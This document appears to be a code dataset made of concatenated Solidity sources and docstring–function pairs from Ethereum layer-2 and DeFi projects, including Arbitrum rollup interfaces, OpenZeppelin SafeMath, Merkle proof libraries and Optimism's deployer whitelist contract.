* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IOutbox {
event OutboxEntryCreated(
uint256 indexed batchNum,
uint256 outboxEntryIndex,
bytes32 outputRoot,
uint256 numInBatch
);
event OutBoxTransactionExecuted(
address indexed destAddr,
address indexed l2Sender,
uint256 indexed outboxEntryIndex,
uint256 transactionIndex
);
function l2ToL1Sender() external view returns (address);
function l2ToL1Block() external view returns (uint256);
function l2ToL1EthBlock() external view returns (uint256);
function l2ToL1Timestamp() external view returns (uint256);
function l2ToL1BatchNum() external view returns (uint256);
function l2ToL1OutputId() external view returns (bytes32);
function processOutgoingMessages(bytes calldata sendsData, uint256[] calldata sendLengths)
external;
function outboxEntryExists(uint256 batchNum) external view returns (bool);
function executeTransaction(
uint256 outboxIndex,
bytes32[] calldata proof,
uint256 index,
address l2Sender,
address destAddr,
uint256 l2Block,
uint256 l1Block,
uint256 l2Timestamp,
uint256 amount,
bytes calldata calldataForL1) external;
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library ProxyUtil {
function getProxyAdmin() internal view returns (address admin) {
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/proxy/TransparentUpgradeableProxy.sol#L48
// Storage slot with the admin of the proxy contract.
// This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
bytes32 slot = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
assembly {
admin := sload(slot)
}
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../INode.sol";
import "../../bridge/interfaces/IOutbox.sol";
interface IRollupUser {
function initialize(address _stakeToken) external;
function completeChallenge(address winningStaker, address losingStaker) external;
function returnOldDeposit(address stakerAddress) external;
function requireUnresolved(uint256 nodeNum) external view;
function requireUnresolvedExists() external view;
function countStakedZombies(INode node) external view returns (uint256);
}
interface IRollupAdmin {
event OwnerFunctionCalled(uint256 indexed id);
/**
* @notice Add a contract authorized to put messages into this rollup's inbox
* @param _outbox Outbox contract to add
*/
function setOutbox(IOutbox _outbox) external;
/**
* @notice Disable an old outbox from interacting with the bridge
* @param _outbox Outbox contract to remove
*/
function removeOldOutbox(address _outbox) external;
/**
* @notice Enable or disable an inbox contract
* @param _inbox Inbox contract to add or remove
* @param _enabled New status of inbox
*/
function setInbox(address _inbox, bool _enabled) external;
/**
* @notice Pause interaction with the rollup contract
*/
function pause() external;
/**
* @notice Resume interaction with the rollup contract
*/
function resume() external;
/**
* @notice Set the addresses of rollup logic facets called
* @param newAdminFacet address of logic that owner of rollup calls
* @param newUserFacet ddress of logic that user of rollup calls
*/
function setFacets(address newAdminFacet, address newUserFacet) external;
/**
* @notice Set the addresses of the validator whitelist
* @dev It is expected that both arrays are same length, and validator at
* position i corresponds to the value at position i
* @param _validator addresses to set in the whitelist
* @param _val value to set in the whitelist for corresponding address
*/
function setValidator(address[] memory _validator, bool[] memory _val) external;
/**
* @notice Set a new owner address for the rollup
* @param newOwner address of new rollup owner
*/
function setOwner(address newOwner) external;
/**
* @notice Set minimum assertion period for the rollup
* @param newPeriod new minimum period for assertions
*/
function setMinimumAssertionPeriod(uint256 newPeriod) external;
/**
* @notice Set number of blocks until a node is considered confirmed
* @param newConfirmPeriod new number of blocks until a node is confirmed
*/
function setConfirmPeriodBlocks(uint256 newConfirmPeriod) external;
/**
* @notice Set number of extra blocks after a challenge
* @param newExtraTimeBlocks new number of blocks
*/
function setExtraChallengeTimeBlocks(uint256 newExtraTimeBlocks) external;
/**
* @notice Set speed limit per block
* @param newAvmGasSpeedLimitPerBlock maximum avmgas to be used per block
*/
function setAvmGasSpeedLimitPerBlock(uint256 newAvmGasSpeedLimitPerBlock) external;
/**
* @notice Set base stake required for an assertion
* @param newBaseStake maximum avmgas to be used per block
*/
function setBaseStake(uint256 newBaseStake) external;
/**
* @notice Set the token used for stake, where address(0) == eth
* @dev Before changing the base stake token, you might need to change the
* implementation of the Rollup User facet!
* @param newStakeToken address of token used for staking
*/
function setStakeToken(address newStakeToken) external;
/**
* @notice Set max delay for sequencer inbox
* @param newSequencerInboxMaxDelayBlocks max number of blocks
* @param newSequencerInboxMaxDelaySeconds max number of seconds
*/
function setSequencerInboxMaxDelay(
uint256 newSequencerInboxMaxDelayBlocks,
uint256 newSequencerInboxMaxDelaySeconds
) external;
/**
* @notice Set execution bisection degree
* @param newChallengeExecutionBisectionDegree execution bisection degree
*/
function setChallengeExecutionBisectionDegree(uint256 newChallengeExecutionBisectionDegree)
external;
/**
* @notice Updates a whitelist address for its consumers
* @dev setting the newWhitelist to address(0) disables it for consumers
* @param whitelist old whitelist to be deprecated
* @param newWhitelist new whitelist to be used
* @param targets whitelist consumers to be triggered
*/
function updateWhitelistConsumers(
address whitelist,
address newWhitelist,
address[] memory targets
) external;
/**
* @notice Updates a whitelist's entries
* @dev user at position i will be assigned value i
* @param whitelist whitelist to be updated
* @param user users to be updated in the whitelist
* @param val if user is or not allowed in the whitelist
*/
function setWhitelistEntries(
address whitelist,
address[] memory user,
bool[] memory val
) external;
/**
* @notice Updates whether an address is a sequencer at the sequencer inbox
* @param newSequencer address to be modified
* @param isSequencer whether this address should be authorized as a sequencer
*/
function setIsSequencer(address newSequencer, bool isSequencer) external;
/**
* @notice Upgrades the implementation of a beacon controlled by the rollup
* @param beacon address of beacon to be upgraded
* @param newImplementation new address of implementation
*/
function upgradeBeacon(address beacon, address newImplementation) external;
function forceResolveChallenge(address[] memory stackerA, address[] memory stackerB) external;
function forceRefundStaker(address[] memory stacker) external;
function forceCreateNode(
bytes32 expectedNodeHash,
bytes32[3][2] calldata assertionBytes32Fields,
uint256[4][2] calldata assertionIntFields,
bytes calldata sequencerBatchProof,
uint256 beforeProposedBlock,
uint256 beforeInboxMaxCount,
uint256 prevNode
) external;
function forceConfirmNode(
uint256 nodeNum,
bytes32 beforeSendAcc,
bytes calldata sendsData,
uint256[] calldata sendLengths,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IMessageProvider {
event InboxMessageDelivered(uint256 indexed messageNum, bytes data);
event InboxMessageDeliveredFromOrigin(uint256 indexed messageNum);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./INode.sol";
interface IRollupCore {
function _stakerMap(address stakerAddress)
external
view
returns (
uint256,
uint256,
uint256,
address,
bool
);
event RollupCreated(bytes32 machineHash);
event NodeCreated(
uint256 indexed nodeNum,
bytes32 indexed parentNodeHash,
bytes32 nodeHash,
bytes32 executionHash,
uint256 inboxMaxCount,
uint256 afterInboxBatchEndCount,
bytes32 afterInboxBatchAcc,
bytes32[3][2] assertionBytes32Fields,
uint256[4][2] assertionIntFields
);
event NodeConfirmed(
uint256 indexed nodeNum,
bytes32 afterSendAcc,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount
);
event NodeRejected(uint256 indexed nodeNum);
event RollupChallengeStarted(
address indexed challengeContract,
address asserter,
address challenger,
uint256 challengedNode
);
event UserStakeUpdated(address indexed user, uint256 initialBalance, uint256 finalBalance);
event UserWithdrawableFundsUpdated(
address indexed user,
uint256 initialBalance,
uint256 finalBalance
);
function getNode(uint256 nodeNum) external view returns (INode);
/**
* @notice Get the address of the staker at the given index
* @param stakerNum Index of the staker
* @return Address of the staker
*/
function getStakerAddress(uint256 stakerNum) external view returns (address);
/**
* @notice Check whether the given staker is staked
* @param staker Staker address to check
* @return True or False for whether the staker was staked
*/
function isStaked(address staker) external view returns (bool);
/**
* @notice Get the latest staked node of the given staker
* @param staker Staker address to lookup
* @return Latest node staked of the staker
*/
function latestStakedNode(address staker) external view returns (uint256);
/**
* @notice Get the current challenge of the given staker
* @param staker Staker address to lookup
* @return Current challenge of the staker
*/
function currentChallenge(address staker) external view returns (address);
/**
* @notice Get the amount staked of the given staker
* @param staker Staker address to lookup
* @return Amount staked of the staker
*/
function amountStaked(address staker) external view returns (uint256);
/**
* @notice Get the original staker address of the zombie at the given index
* @param zombieNum Index of the zombie to lookup
* @return Original staker address of the zombie
*/
function zombieAddress(uint256 zombieNum) external view returns (address);
/**
* @notice Get Latest node that the given zombie at the given index is staked on
* @param zombieNum Index of the zombie to lookup
* @return Latest node that the given zombie is staked on
*/
function zombieLatestStakedNode(uint256 zombieNum) external view returns (uint256);
/// @return Current number of un-removed zombies
function zombieCount() external view returns (uint256);
function isZombie(address staker) external view returns (bool);
/**
* @notice Get the amount of funds withdrawable by the given address
* @param owner Address to check the funds of
* @return Amount of funds withdrawable by owner
*/
function withdrawableFunds(address owner) external view returns (uint256);
/**
* @return Index of the first unresolved node
* @dev If all nodes have been resolved, this will be latestNodeCreated + 1
*/
function firstUnresolvedNode() external view returns (uint256);
/// @return Index of the latest confirmed node
function latestConfirmed() external view returns (uint256);
/// @return Index of the latest rollup node created
function latestNodeCreated() external view returns (uint256);
/// @return Ethereum block that the most recent stake was created
function lastStakeBlock() external view returns (uint256);
/// @return Number of active stakers currently staked
function stakerCount() external view returns (uint256);
/// @return Node hash as of this node number
function getNodeHash(uint256 index) external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../libraries/MerkleLib.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library ChallengeLib {
using SafeMath for uint256;
function firstSegmentSize(uint256 totalCount, uint256 bisectionCount)
internal
pure
returns (uint256)
{
return totalCount / bisectionCount + (totalCount % bisectionCount);
}
function otherSegmentSize(uint256 totalCount, uint256 bisectionCount)
internal
pure
returns (uint256)
{
return totalCount / bisectionCount;
}
function bisectionChunkHash(
uint256 _segmentStart,
uint256 _segmentLength,
bytes32 _startHash,
bytes32 _endHash
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_segmentStart, _segmentLength, _startHash, _endHash));
}
function assertionHash(uint256 _avmGasUsed, bytes32 _restHash) internal pure returns (bytes32) {
// Note: make sure this doesn't return Challenge.UNREACHABLE_ASSERTION (currently 0)
return keccak256(abi.encodePacked(_avmGasUsed, _restHash));
}
function assertionRestHash(
uint256 _totalMessagesRead,
bytes32 _machineState,
bytes32 _sendAcc,
uint256 _sendCount,
bytes32 _logAcc,
uint256 _logCount
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
_totalMessagesRead,
_machineState,
_sendAcc,
_sendCount,
_logAcc,
_logCount
)
);
}
function updatedBisectionRoot(
bytes32[] memory _chainHashes,
uint256 _challengedSegmentStart,
uint256 _challengedSegmentLength
) internal pure returns (bytes32) {
uint256 bisectionCount = _chainHashes.length - 1;
bytes32[] memory hashes = new bytes32[](bisectionCount);
uint256 chunkSize = ChallengeLib.firstSegmentSize(_challengedSegmentLength, bisectionCount);
uint256 segmentStart = _challengedSegmentStart;
hashes[0] = ChallengeLib.bisectionChunkHash(
segmentStart,
chunkSize,
_chainHashes[0],
_chainHashes[1]
);
segmentStart = segmentStart.add(chunkSize);
chunkSize = ChallengeLib.otherSegmentSize(_challengedSegmentLength, bisectionCount);
for (uint256 i = 1; i < bisectionCount; i++) {
hashes[i] = ChallengeLib.bisectionChunkHash(
segmentStart,
chunkSize,
_chainHashes[i],
_chainHashes[i + 1]
);
segmentStart = segmentStart.add(chunkSize);
}
return MerkleLib.generateRoot(hashes);
}
function verifySegmentProof(
bytes32 challengeState,
bytes32 item,
bytes32[] calldata _merkleNodes,
uint256 _merkleRoute
) internal pure returns (bool) {
return challengeState == MerkleLib.calculateRoot(_merkleNodes, _merkleRoute, item);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library MerkleLib {
function generateRoot(bytes32[] memory _hashes) internal pure returns (bytes32) {
bytes32[] memory prevLayer = _hashes;
while (prevLayer.length > 1) {
bytes32[] memory nextLayer = new bytes32[]((prevLayer.length + 1) / 2);
for (uint256 i = 0; i < nextLayer.length; i++) {
if (2 * i + 1 < prevLayer.length) {
nextLayer[i] = keccak256(
abi.encodePacked(prevLayer[2 * i], prevLayer[2 * i + 1])
);
} else {
nextLayer[i] = prevLayer[2 * i];
}
}
prevLayer = nextLayer;
}
return prevLayer[0];
}
function calculateRoot(
bytes32[] memory nodes,
uint256 route,
bytes32 item
) internal pure returns (bytes32) {
uint256 proofItems = nodes.length;
require(proofItems <= 256);
bytes32 h = item;
for (uint256 i = 0; i < proofItems; i++) {
if (route % 2 == 0) {
h = keccak256(abi.encodePacked(nodes[i], h));
} else {
h = keccak256(abi.encodePacked(h, nodes[i]));
}
route /= 2;
}
return h;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
interface IOneStepProof {
// Bridges is sequencer bridge then delayed bridge
function executeStep(
address[2] calldata bridges,
uint256 initialMessagesRead,
bytes32[2] calldata accs,
bytes calldata proof,
bytes calldata bproof
)
external
view
returns (
uint64 gas,
uint256 afterMessagesRead,
bytes32[4] memory fields
);
function executeStepDebug(
address[2] calldata bridges,
uint256 initialMessagesRead,
bytes32[2] calldata accs,
bytes calldata proof,
bytes calldata bproof
) external view returns (string memory startMachine, string memory afterMachine);
}
|
Can only force-include after the Sequencer-only window has expired. Verify that message hash represents the last message sequence of delayed message to be included
|
function forceInclusion(
uint256 _totalDelayedMessagesRead,
uint8 kind,
uint256[2] calldata l1BlockAndTimestamp,
uint256 inboxSeqNum,
uint256 gasPriceL1,
address sender,
bytes32 messageDataHash,
bytes32 delayedAcc
) external {
require(_totalDelayedMessagesRead > totalDelayedMessagesRead, "DELAYED_BACKWARDS");
{
bytes32 messageHash = Messages.messageHash(
kind,
sender,
l1BlockAndTimestamp[0],
l1BlockAndTimestamp[1],
inboxSeqNum,
gasPriceL1,
messageDataHash
);
require(l1BlockAndTimestamp[0] + maxDelayBlocks < block.number, "MAX_DELAY_BLOCKS");
require(l1BlockAndTimestamp[1] + maxDelaySeconds < block.timestamp, "MAX_DELAY_TIME");
bytes32 prevDelayedAcc = 0;
if (_totalDelayedMessagesRead > 1) {
prevDelayedAcc = delayedInbox.inboxAccs(_totalDelayedMessagesRead - 2);
}
require(
delayedInbox.inboxAccs(_totalDelayedMessagesRead - 1) ==
Messages.addMessageToInbox(prevDelayedAcc, messageHash),
"DELAYED_ACCUMULATOR"
);
}
uint256 startNum = messageCount;
bytes32 beforeAcc = 0;
if (inboxAccs.length > 0) {
beforeAcc = inboxAccs[inboxAccs.length - 1];
}
(bytes32 acc, uint256 count) = includeDelayedMessages(
beforeAcc,
startNum,
_totalDelayedMessagesRead,
block.number,
block.timestamp,
delayedAcc
);
inboxAccs.push(acc);
messageCount = count;
emit DelayedInboxForced(
startNum,
beforeAcc,
count,
_totalDelayedMessagesRead,
[acc, delayedAcc],
inboxAccs.length - 1
);
}
| 12,105,080
|
./full_match/5/0x1209F47b4b2fc869DfC1600d4CAb29F9eB87a112/sources/contracts/discovery/SubgraphNFT.sol
|
Internal: Set the token descriptor contract used to create the ERC-721 metadata URI. _tokenDescriptor Address of the contract that creates the NFT token URI/
|
function _setTokenDescriptor(address _tokenDescriptor) internal {
require(
_tokenDescriptor == address(0) || Address.isContract(_tokenDescriptor),
"NFT: Invalid token descriptor"
);
tokenDescriptor = ISubgraphNFTDescriptor(_tokenDescriptor);
emit TokenDescriptorUpdated(_tokenDescriptor);
}
| 11,607,103
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @title OVM_DeployerWhitelist
* @dev The Deployer Whitelist is a temporary predeploy used to provide additional safety during the
* initial phases of our mainnet roll out. It is owned by the Optimism team, and defines accounts
* which are allowed to deploy contracts on Layer2. The Execution Manager will only allow an
* ovmCREATE or ovmCREATE2 operation to proceed if the deployer's address whitelisted.
*/
contract OVM_DeployerWhitelist {
/**********
* Events *
**********/
event OwnerChanged(address oldOwner, address newOwner);
event WhitelistStatusChanged(address deployer, bool whitelisted);
event WhitelistDisabled(address oldOwner);
/**********************
* Contract Constants *
**********************/
// WARNING: When owner is set to address(0), the whitelist is disabled.
address public owner;
mapping(address => bool) public whitelist;
/**********************
* Function Modifiers *
**********************/
/**
* Blocks functions to anyone except the contract owner.
*/
modifier onlyOwner() {
require(
msg.sender == owner,
'Function can only be called by the owner of this contract.'
);
_;
}
/********************
* Public Functions *
********************/
/**
* Adds or removes an address from the deployment whitelist.
* @param _deployer Address to update permissions for.
* @param _isWhitelisted Whether or not the address is whitelisted.
*/
function setWhitelistedDeployer(address _deployer, bool _isWhitelisted)
external
onlyOwner
{
whitelist[_deployer] = _isWhitelisted;
emit WhitelistStatusChanged(_deployer, _isWhitelisted);
}
/**
* Updates the owner of this contract.
* @param _owner Address of the new owner.
*/
function setOwner(address _owner) public onlyOwner {
// Prevent users from setting the whitelist owner to address(0) except via
// enableArbitraryContractDeployment. If you want to burn the whitelist owner, send it to any
// other address that doesn't have a corresponding knowable private key.
require(
_owner != address(0),
'OVM_DeployerWhitelist: whitelist can only be disabled via enableArbitraryContractDeployment'
);
emit OwnerChanged(owner, _owner);
owner = _owner;
}
/**
* Permanently enables arbitrary contract deployment and deletes the owner.
*/
function enableArbitraryContractDeployment() external onlyOwner {
emit WhitelistDisabled(owner);
owner = address(0);
}
/**
* Checks whether an address is allowed to deploy contracts.
* @param _deployer Address to check.
* @return _allowed Whether or not the address can deploy contracts.
*/
function isDeployerAllowed(address _deployer) external view returns (bool) {
return (owner == address(0) || whitelist[_deployer]);
}
}
|
Updates the owner of this contract. _owner Address of the new owner./ Prevent users from setting the whitelist owner to address(0) except via enableArbitraryContractDeployment. If you want to burn the whitelist owner, send it to any other address that doesn't have a corresponding knowable private key.
|
function setOwner(address _owner) public onlyOwner {
require(
_owner != address(0),
'OVM_DeployerWhitelist: whitelist can only be disabled via enableArbitraryContractDeployment'
);
emit OwnerChanged(owner, _owner);
owner = _owner;
}
| 12,598,670
|
./partial_match/1/0x21fC96B8C0d429820bcD03872083Bf8B1A0970eb/sources/TokenSale.sol
|
Get the total USDT raised return The total USDT raised/
|
function getTotalRaisedUSDT() public view returns (uint256) {
return totalRaisedUSDT;
}
| 9,408,741
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
interface IProviderModuleGnosisSafeProxy{
event LogProvideProxyExtcodehash(bytes32 indexed extcodehash);
event LogUnprovideProxyExtcodehash(bytes32 indexed extcodehash);
event LogProvideMastercopy(address indexed mastercopy);
event LogUnprovideMastercopy(address indexed mastercopy);
// GnosisSafeProxy
function provideProxyExtcodehashes(bytes32[] calldata _hashes) external;
function unprovideProxyExtcodehashes(bytes32[] calldata _hashes) external;
function provideMastercopies(address[] calldata _mastercopies) external;
function unprovideMastercopies(address[] calldata _mastercopies) external;
// Batch (un-)provide
function multiProvide(bytes32[] calldata _hashes, address[] calldata _mastercopies)
external;
function multiUnprovide(bytes32[] calldata _hashes, address[] calldata _mastercopies)
external;
function isProxyExtcodehashProvided(bytes32 _hash)
external
view
returns(bool);
function isMastercopyProvided(address _mastercopy)
external
view
returns(bool);
function gelatoCore() external pure returns(address);
function gelatoActionPipeline() external pure returns(address);
}
|
GnosisSafeProxy Batch (un-)provide
|
interface IProviderModuleGnosisSafeProxy{
event LogProvideProxyExtcodehash(bytes32 indexed extcodehash);
event LogUnprovideProxyExtcodehash(bytes32 indexed extcodehash);
event LogProvideMastercopy(address indexed mastercopy);
event LogUnprovideMastercopy(address indexed mastercopy);
function provideProxyExtcodehashes(bytes32[] calldata _hashes) external;
function unprovideProxyExtcodehashes(bytes32[] calldata _hashes) external;
function provideMastercopies(address[] calldata _mastercopies) external;
function unprovideMastercopies(address[] calldata _mastercopies) external;
function multiProvide(bytes32[] calldata _hashes, address[] calldata _mastercopies)
external;
function multiUnprovide(bytes32[] calldata _hashes, address[] calldata _mastercopies)
external;
function isProxyExtcodehashProvided(bytes32 _hash)
external
view
returns(bool);
function isMastercopyProvided(address _mastercopy)
external
view
returns(bool);
function gelatoCore() external pure returns(address);
function gelatoActionPipeline() external pure returns(address);
pragma solidity ^0.6.10;
}
| 1,004,608
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
import "@openzeppelin/contracts-upgradeable/governance/GovernorUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/governance/extensions/GovernorSettingsUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/governance/extensions/GovernorVotesCompUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/governance/extensions/GovernorTimelockCompoundUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/interfaces/IERC721ReceiverUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "hardhat/console.sol";
import "./base/GovernorCompatibilityBravoUpgradeable.sol";
